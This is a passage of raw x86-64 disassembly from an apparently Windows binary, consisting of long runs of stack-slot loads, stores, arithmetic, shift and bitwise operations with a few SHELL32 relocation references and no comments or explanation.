mov byte [rcx], al
mov rax, qword [rsp + 0xbf30]
movzx eax, word [rax]
mov word [rsp + 0x1a9c], ax
mov rax, qword [rsp + 0xbe10]
mov rcx, qword [rsp + 0xc540]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc138]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbca8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc7a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd1f0], rax
mov rax, qword [rsp + 0xd8b0]
mov eax, dword [rax]
mov dword [rsp + 0x6e50], eax
mov rax, qword [rsp + 0xc438]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc690]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc468], rax
movzx eax, byte [rsp + 0xb6]
mov byte [rsp + 0x1a3], al
mov rax, qword [rsp + 0xd318]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5b]
and eax, ecx
mov byte [0x1402c7512], al
mov rax, qword [rsp + 0xddb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1754]
imul eax, ecx
mov word [rsp + 0x1a00], ax
lea rax, [rsp + 0x199c]
mov qword [rsp + 0xe3e8], rax
movsx eax, byte [rsp + 0x97]
movsx ecx, byte [0x1402c90dc]
sub eax, ecx
mov rcx, qword [rsp + 0xd288]
mov byte [rcx], al
mov rax, qword [rsp + 0xd6a0]
mov rcx, qword [rsp + 0xc1b8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2a0], rax
lea rax, [rsp + 0x6d7c]
mov qword [rsp + 0xe3f0], rax
mov rax, qword [rsp + 0xd838]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcc60]
shl rax, cl
mov rcx, qword [rsp + 0xded0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6ba0]
mov dword [rsp + 0x6e54], eax
movsx eax, word [rsp + 0x1908]
movsx ecx, word [rsp + 0x1804]
sar eax, cl
mov word [rsp + 0x16e4], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15ac]
xor eax, ecx
mov word [0x1402c75b4], ax
movzx eax, word [rsp + 0x1810]
mov rcx, qword [rsp + 0xddc8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16a0], ax
movzx eax, byte [rsp + 0x157]
mov byte [rsp + 0x1a4], al
mov rax, qword [rsp + 0xd820]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf7]
and eax, ecx
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0xdde8]
mov qword [rsp + 0xe3f8], rax
mov rax, qword [rsp + 0xe1f8]
mov rcx, qword [rsp + 0xe180]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6af4], eax
mov rax, qword [rsp + 0xc978]
mov rcx, qword [rsp + 0xc380]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a18], eax
mov rax, qword [rsp + 0xd2a8]
mov rax, qword [rax]
mov qword [rsp + 0xe400], rax
mov rax, qword [rsp + 0xcc08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd08]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf1], al
mov rax, qword [0x1402c9290]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13f]
sub eax, ecx
mov rcx, qword [0x1402c92e0]
mov byte [rcx], al
mov rax, qword [rsp + 0xba10]
movzx eax, word [rax]
mov word [rsp + 0x1aa0], ax
mov rax, qword [rsp + 0xdde0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc230]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc658]
mov word [rcx], ax
movzx eax, word [rsp + 0x16d8]
mov rcx, qword [rsp + 0xdbf0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd1c0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb90]
mov eax, dword [rax]
mov dword [rsp + 0x6e58], eax
mov rax, qword [rsp + 0xcfc8]
mov rcx, qword [rsp + 0xbfd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcaf8]
mov qword [rcx], rax
lea rax, [rsp + 0x68d4]
mov qword [rsp + 0xe408], rax
mov rax, qword [rsp + 0xd3a8]
mov rcx, qword [rsp + 0xded0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc468], rax
lea rax, [rsp + 0x138]
mov qword [rsp + 0xe410], rax
mov rax, qword [0x1402c9130]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15d4]
shl eax, cl
mov word [0x1402c753c], ax
movzx eax, word [rsp + 0x1928]
movzx ecx, word [rsp + 0x1858]
sar eax, cl
mov word [rsp + 0x1770], ax
movzx eax, byte [rsp + 0x93]
mov rcx, qword [0x1402c9290]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xd4], al
lea rax, [rsp + 0x134]
mov qword [rsp + 0xe418], rax
mov rax, qword [rsp + 0xe2b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1874]
xor eax, ecx
mov rcx, qword [rsp + 0xcd00]
mov word [rcx], ax
mov eax, dword [rsp + 0x6c9c]
mov dword [rsp + 0x6e5c], eax
mov rax, qword [rsp + 0xd150]
mov rcx, qword [rsp + 0xe000]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbf90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce10]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdea0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd340]
mov eax, dword [rax]
mov dword [rsp + 0x6e60], eax
mov rax, qword [rsp + 0xd360]
movzx eax, byte [rax]
mov byte [0x1402c9124], al
movsx eax, byte [rsp + 0xdc]
mov rcx, qword [rsp + 0xcc68]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xdb38]
mov byte [rcx], al
lea rax, [rsp + 0x17a0]
mov qword [rsp + 0xe420], rax
mov rax, qword [rsp + 0xd618]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10a]
sub eax, ecx
mov byte [rsp + 0x14b], al
mov rax, qword [rsp + 0xdc68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb9]
sub eax, ecx
mov byte [rsp + 0x17a], al
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
mov qword [rsp + 0xe428], rax
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [rsp + 0x6c78]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69a8], eax
mov rax, qword [rsp + 0xdcb0]
mov rax, qword [rax]
mov qword [rsp + 0xe430], rax
mov rax, qword [rsp + 0xd7c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d70]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc850]
mov dword [rcx], eax
mov rax, qword [0x1402c94f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcbf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c91fc], ax
mov rax, qword [rsp + 0xcad8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x108]
add eax, ecx
mov byte [rsp + 0x60], al
lea rax, [0x1402c9278]
mov qword [rsp + 0xe438], rax
mov rax, qword [rsp + 0xce40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc618]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xe390]
mov byte [rcx], al
lea rax, [rsp + 0x1a54]
mov qword [rsp + 0xe440], rax
mov rax, qword [rsp + 0xd7d8]
mov ecx, dword [rsp + 0x6e34]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6d10], eax
mov rax, qword [rsp + 0xe0a0]
mov eax, dword [rax]
mov dword [rsp + 0x6e64], eax
mov rax, qword [rsp + 0xe090]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbd48]
mov qword [rsp + 0xe448], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe448]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd428], rax
mov rax, qword [rsp + 0xd770]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd120]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc538], rax
movsx eax, word [rsp + 0x1804]
mov rcx, qword [rsp + 0xdc98]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1402c75b8], ax
lea rax, [rsp + 0x1818]
mov qword [rsp + 0xe450], rax
movzx eax, byte [rsp + 0xfc]
movzx ecx, byte [rsp + 0x94]
shl eax, cl
mov rcx, qword [rsp + 0xca90]
mov byte [rcx], al
movzx eax, word [rsp + 0x1a1c]
mov word [rsp + 0x1aa4], ax
mov rax, qword [rsp + 0xbf40]
movsx eax, byte [rax]
imul eax, eax, 0x34
mov byte [rsp + 0x16e], al
mov rax, qword [rsp + 0xd048]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6998], eax
mov rax, qword [rsp + 0xc498]
mov eax, dword [rax]
mov dword [rsp + 0x6e68], eax
mov rax, qword [rsp + 0xc860]
mov rcx, qword [rsp + 0xd950]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xca28], rax
mov rax, qword [rsp + 0xdce8]
mov rax, qword [rax]
mov qword [rsp + 0xe458], rax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x18f]
sub eax, ecx
mov byte [reloc.SHELL32.dll_ILRemoveLastID], al
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x177c]
and eax, ecx
mov word [rsp + 0x19a8], ax
mov rax, qword [rsp + 0xdc68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13a]
add eax, ecx
mov rcx, qword [rsp + 0xc618]
mov byte [rcx], al
lea rax, [rsp + 0x1a60]
mov qword [rsp + 0xe460], rax
mov rax, qword [rsp + 0xd580]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcf48]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe258]
mov byte [rcx], al
mov rax, qword [rsp + 0xd260]
mov rax, qword [rax]
mov qword [rsp + 0xe468], rax
mov rax, qword [rsp + 0xc890]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6da4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c48], eax
lea rax, [rsp + 0x6c3c]
mov qword [rsp + 0xe470], rax
mov rax, qword [rsp + 0xbf58]
mov rcx, qword [rsp + 0xcc98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc078]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd740]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c7594], ax
movzx eax, byte [rsp + 0xf0]
movzx ecx, byte [rsp + 0x18a]
xor eax, ecx
mov rcx, qword [rsp + 0xd890]
mov byte [rcx], al
lea rax, [rsp + 0x7b]
mov qword [rsp + 0xe478], rax
mov rax, qword [rsp + 0xcc30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcbe8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc578]
mov word [rcx], ax
mov rax, qword [rsp + 0xc350]
movzx eax, word [rax]
mov word [rsp + 0x1aa8], ax
mov rax, qword [rsp + 0xd950]
movzx ecx, al
mov rax, qword [0x1402c7490]
shl rax, cl
mov rcx, qword [rsp + 0xbfd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdca8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6d84]
shr eax, cl
mov dword [rsp + 0x69ac], eax
mov rax, qword [rsp + 0xd520]
mov eax, dword [rax]
mov dword [rsp + 0x6e6c], eax
mov rax, qword [rsp + 0xd0e0]
mov rcx, qword [rsp + 0xd7b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe0b0], rax
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a28]
add eax, ecx
mov word [0x1402c74bc], ax
mov rax, qword [rsp + 0xc5f0]
movzx eax, word [rax]
mov word [rsp + 0x1aac], ax
mov rax, qword [0x1402c9400]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd258]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xfb], al
movzx eax, byte [rsp + 0x11d]
movzx ecx, byte [rsp + 0x54]
sub eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [0x1402c9468]
movzx eax, byte [rax]
mov byte [rsp + 0x1a5], al
mov rax, qword [rsp + 0xe238]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe038]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f0], rax
mov eax, dword [rsp + 0x6c68]
mov dword [rsp + 0x6e70], eax
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x69f0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6ae8], eax
mov rax, qword [rsp + 0xd668]
mov rcx, qword [rsp + 0xd128]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc28], rax
movzx eax, word [rsp + 0x1a08]
mov word [0x1402c95f8], ax
lea rax, [rsp + 0x162]
mov qword [rsp + 0xe480], rax
movzx eax, byte [rsp + 0x141]
movzx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov byte [rsp + 0x1a3], al
lea rax, [rsp + 0x1934]
mov qword [rsp + 0xe488], rax
mov rax, qword [rsp + 0xdb40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce48]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16a8], ax
lea rax, [rsp + 0x6c50]
mov qword [rsp + 0xe490], rax
mov rax, qword [rsp + 0xcf20]
mov rcx, qword [rsp + 0xd9f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc448], rax
mov rax, qword [rsp + 0xd6a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6cdc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc308]
mov dword [rcx], eax
lea rax, [rsp + 0xe3f8]
mov qword [rsp + 0xe498], rax
mov rax, qword [rsp + 0xdd18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a24]
shl eax, cl
mov word [rsp + 0x1644], ax
movzx eax, byte [rsp + 0x181]
movzx ecx, byte [0x1402c90db]
sar eax, cl
mov byte [0x1402c7517], al
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
mov word [rsp + 0x1ab0], ax
movsx eax, byte [rsp + 0x167]
mov rcx, qword [rsp + 0xc470]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbd58]
mov byte [rcx], al
mov rax, qword [rsp + 0xcb40]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c74c6]
and eax, ecx
mov rcx, qword [rsp + 0xd890]
mov byte [rcx], al
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov qword [rsp + 0xe4a0], rax
mov eax, dword [rsp + 0x6b0c]
mov ecx, dword [rsp + 0x69c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6be8], eax
lea rax, [rsp + 0x6d64]
mov qword [rsp + 0xe4a8], rax
mov rax, qword [rsp + 0xe198]
mov rcx, qword [rsp + 0xc480]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd970]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1774]
mov rcx, qword [rsp + 0xbde0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1720], ax
mov rax, qword [0x1402c9100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x139]
sub eax, ecx
mov rcx, qword [0x1402c9368]
mov byte [rcx], al
lea rax, [rsp + 0x1798]
mov qword [rsp + 0xe4b0], rax
mov rax, qword [rsp + 0xc528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1544]
add eax, ecx
mov rcx, qword [rsp + 0xd830]
mov word [rcx], ax
mov rax, qword [rsp + 0xbf88]
movzx eax, word [rax]
mov word [rsp + 0x1ab4], ax
mov rax, qword [rsp + 0xd7b8]
mov rcx, qword [rsp + 0xd5b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6aa8], eax
lea rax, [rsp + 0xd900]
mov qword [rsp + 0xe4b8], rax
mov eax, dword [rsp + 0x6c88]
mov ecx, dword [rsp + 0x6a78]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe180]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc428]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd3a0], rax
lea rax, [rsp + 0x1994]
mov qword [rsp + 0xe4c0], rax
movsx eax, word [rsp + 0x1a78]
movsx ecx, word [0x1402c7524]
add eax, ecx
mov rcx, qword [0x1402c9158]
mov word [rcx], ax
mov rax, qword [rsp + 0xcbf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x188]
sar eax, cl
mov byte [rsp + 0x14a], al
mov rax, qword [rsp + 0xbd28]
movzx eax, byte [rax]
mov byte [rsp + 0x1a6], al
movzx eax, byte [rsp + 0xcb]
mov rcx, qword [rsp + 0xe350]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xb7], al
mov rax, qword [rsp + 0xc7d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d10]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6de4], eax
mov eax, dword [rsp + 0x696c]
mov dword [rsp + 0x6e74], eax
mov rax, qword [rsp + 0xda08]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1402c7490]
shl rax, cl
mov qword [rsp + 0xc530], rax
mov rax, qword [rsp + 0xdda8]
mov rax, qword [rax]
mov qword [rsp + 0xe4c8], rax
mov rax, qword [rsp + 0xcc68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x170]
and eax, ecx
mov byte [rsp + 0x73], al
lea rax, [rsp + 0x172c]
mov qword [0x1402c9600], rax
mov rax, qword [rsp + 0xcfe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
add eax, ecx
mov byte [rsp + 0xb7], al
lea rax, [rsp + 0x1a3c]
mov qword [rsp + 0xe4d0], rax
mov rax, qword [rsp + 0xd7e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x146]
add eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0xd6f8]
movzx eax, byte [rax]
mov byte [rsp + 0x1a7], al
mov rax, qword [rsp + 0xdc28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd2e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcb58], rax
mov rax, qword [rsp + 0xcfc8]
mov rcx, qword [rsp + 0xc2a8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcfc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbe10]
mov eax, dword [rax]
mov dword [rsp + 0x6e78], eax
mov rax, qword [rsp + 0xccc8]
mov rcx, qword [rsp + 0xd8c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a0c], eax
mov rax, qword [0x1402c95f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c74bc], ax
lea rax, [rsp + 0x1978]
mov qword [rsp + 0xe4d8], rax
mov rax, qword [rsp + 0xcc68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd318]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x122], al
movzx eax, byte [rsp + 0xe7]
mov byte [rsp + 0x1a8], al
mov rax, qword [rsp + 0xbcb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcb08]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd9b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbf60]
mov rcx, qword [rsp + 0xbc90]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xcfc8]
mov qword [rcx], rax
lea rax, [rsp + 0xc980]
mov qword [rsp + 0xe4e0], rax
mov rax, qword [rsp + 0xc268]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6c10]
shl eax, cl
mov dword [rsp + 0x6e30], eax
lea rax, [rsp + 0x68a0]
mov qword [rsp + 0xe4e8], rax
lea rax, [rsp + 0x194c]
mov qword [0x1402c9608], rax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [rsp + 0x141]
xor eax, ecx
mov rcx, qword [rsp + 0xc908]
mov byte [rcx], al
mov rax, qword [rsp + 0xc288]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe3a8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x17b8], ax
movzx eax, byte [rsp + 0x106]
mov byte [rsp + 0x1a9], al
mov rax, qword [rsp + 0xd840]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc940]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x18c0], ax
mov rax, qword [rsp + 0xc168]
mov qword [rsp + 0xe4f0], rax
mov rax, qword [rsp + 0xdf48]
mov ecx, dword [rsp + 0x6dcc]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x68b0], eax
mov rax, qword [rsp + 0xd7c0]
mov rcx, qword [rsp + 0xbe38]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc218], rax
lea rax, [rsp + 0x68fc]
mov qword [rsp + 0xe4f8], rax
movsx eax, word [rsp + 0x19e8]
mov rcx, qword [0x1402c9440]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c75bc], ax
mov rax, qword [rsp + 0xccb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcc08]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0xc680]
movzx eax, word [rax]
mov word [rsp + 0x1ab8], ax
movzx eax, byte [rsp + 0xb0]
movzx ecx, byte [0x1402c90db]
sub eax, ecx
mov byte [rsp + 0x100], al
mov rax, qword [rsp + 0xdc78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe480]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd5b0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb9d8]
mov qword [rsp + 0xe500], rax
mov rax, qword [rsp + 0xd7d8]
mov rcx, qword [rsp + 0xc638]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd010]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc958]
mov rax, qword [rax]
mov qword [rsp + 0xe508], rax
mov rax, qword [rsp + 0xce00]
mov rcx, qword [rsp + 0xbd38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xde78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcac8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1598]
add eax, ecx
mov word [0x1402c9528], ax
movzx eax, word [rsp + 0x1a84]
mov word [rsp + 0x1abc], ax
mov rax, qword [rsp + 0xdd08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbd]
and eax, ecx
mov rcx, qword [rsp + 0xd4c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc020]
movsx eax, byte [rax]
imul eax, eax, 0x24
mov byte [rsp + 0xe9], al
lea rax, [rsp + 0x16b4]
mov qword [rsp + 0xe510], rax
mov rax, qword [rsp + 0xc6b0]
mov rcx, qword [rsp + 0xe080]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc5a8]
mov dword [rcx], eax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov qword [rsp + 0xe518], rax
mov rax, qword [rsp + 0xdfb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc830]
mov qword [rsp + 0xe520], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe520]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x69f8], eax
mov rax, qword [rsp + 0xe2b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbe88]
sar rax, cl
mov qword [rsp + 0xc690], rax
movzx eax, byte [rsp + 0x100]
movzx ecx, byte [rsp + 0x13f]
xor eax, ecx
mov rcx, qword [0x1402c92d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xce78]
movzx eax, word [rax]
mov word [rsp + 0x1ac0], ax
mov rax, qword [rsp + 0xbd10]
movsx eax, word [rax]
mov rcx, qword [0x1402c9358]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xce48]
mov word [rcx], ax
lea rax, [rsp + 0x1a74]
mov qword [rsp + 0xe528], rax
movzx eax, byte [rsp + 0xe3]
movzx ecx, byte [rsp + 0xdd]
sub eax, ecx
mov byte [rsp + 0xa6], al
mov rax, qword [rsp + 0xbe38]
mov rcx, qword [rsp + 0xc060]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc200]
mov qword [rcx], rax
lea rax, [rsp + 0x6a50]
mov qword [rsp + 0xe530], rax
mov rax, qword [rsp + 0xd130]
mov ecx, dword [rsp + 0x6cb4]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6b6c], eax
lea rax, [rsp + 0xcae8]
mov qword [rsp + 0xe538], rax
lea rax, [0x1402c74de]
mov qword [0x1402c9610], rax
mov rax, qword [rsp + 0xd958]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbef8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd9], al
lea rax, [rsp + 0x1988]
mov qword [rsp + 0xe540], rax
mov rax, qword [0x1402c95b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x189c]
add eax, ecx
mov rcx, qword [rsp + 0xc410]
mov word [rcx], ax
mov rax, qword [rsp + 0xd450]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdda0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x182], al
mov eax, dword [rsp + 0x6e14]
mov dword [rsp + 0x6e7c], eax
mov rax, qword [rsp + 0xc310]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe3b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc20], rax
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov qword [rsp + 0xe548], rax
mov rax, qword [rsp + 0xca10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ac8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc7d8]
mov dword [rcx], eax
lea rax, [rsp + 0x185]
mov qword [0x1402c9618], rax
movzx eax, word [rsp + 0x1714]
mov rcx, qword [rsp + 0xbef0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x177c], ax
mov rax, qword [rsp + 0xdd70]
movzx eax, byte [rax]
mov byte [rsp + 0x1aa], al
mov rax, qword [rsp + 0xdf80]
movsx eax, byte [rax]
movsx ecx, byte [reloc.SHELL32.dll_PathYetAnotherMakeUniqueName]
sub eax, ecx
mov rcx, qword [rsp + 0xe208]
mov byte [rcx], al
mov rax, qword [rsp + 0xc398]
movzx eax, word [rax]
mov word [rsp + 0x1ac4], ax
mov rax, qword [rsp + 0xdfe8]
mov rcx, qword [rsp + 0xc8d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcab8], rax
mov rax, qword [rsp + 0xdde8]
movzx ecx, al
mov rax, qword [0x1402c7490]
shr rax, cl
mov rcx, qword [rsp + 0xc8b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd130]
mov eax, dword [rax]
mov dword [rsp + 0x6e80], eax
mov rax, qword [rsp + 0xdca8]
mov rcx, qword [rsp + 0xdc58]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xd8d8]
mov dword [rcx], eax
lea rax, [rsp + 0x1690]
mov qword [rsp + 0xe550], rax
movzx eax, word [rsp + 0x15a4]
mov rcx, qword [rsp + 0xdbb0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1402c9600]
mov word [rcx], ax
mov rax, qword [rsp + 0xdee8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xdb10]
mov byte [rcx], al
movsx eax, byte [0x1402c90b6]
mov rcx, qword [rsp + 0xe208]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0xe190]
movzx eax, word [rax]
mov word [rsp + 0x1ac8], ax
mov rax, qword [rsp + 0xbc90]
mov rcx, qword [rsp + 0xc460]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc068]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd7f8]
mov rax, qword [rax]
mov qword [rsp + 0xe558], rax
mov rax, qword [rsp + 0xe4f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6cec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd0d0]
mov dword [rcx], eax
